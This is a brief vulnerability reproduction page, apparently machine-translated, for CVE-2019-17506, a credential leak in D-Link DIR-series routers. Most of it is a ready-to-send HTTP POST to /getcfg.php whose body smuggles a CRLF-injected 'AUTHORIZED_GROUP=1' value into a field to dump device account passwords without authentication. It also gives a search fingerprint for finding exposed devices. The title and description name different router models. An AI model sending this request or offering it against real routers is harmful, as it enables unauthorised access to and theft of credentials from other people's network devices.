D Link Dir 645 Getcfg Php Account Password Leakage Vulnerability Cve 2019 17506

D-Link Dir-645 getcfg.php Account password leakage vulnerability CVE-2019-17506

Vulnerability Description

D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers have some web interfaces that do not require authentication.

Vulnerability Impact

D-Link Dir series multiple versions

Network surveying and mapping

app=”D_Link-DIR-868L”

Vulnerability reappears

The login page is as follows

Send the request packet

POST /getcfg.php HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Length: 61

SERVICES=DEVICE.ACCOUNT&attack=ture%0D%0AAUTHORIZED_GROUP%3D1